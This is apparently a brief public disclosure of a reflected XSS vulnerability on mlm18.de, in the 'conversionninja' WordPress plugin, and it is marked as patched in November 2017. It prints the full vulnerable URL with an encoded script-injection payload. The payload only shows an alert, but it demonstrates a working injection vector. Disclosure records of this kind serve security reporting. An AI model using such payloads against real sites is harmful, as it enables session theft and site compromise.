mlm18.de XSS vulnerability

Vulnerable URL: http://mlm18.de/wp-content/plugins/conversionninja/lp/index.php?id=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28String.fromCharCode%2888,%2083,%2083,%2080,%2079,%2083,%2069,%2068%29%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest...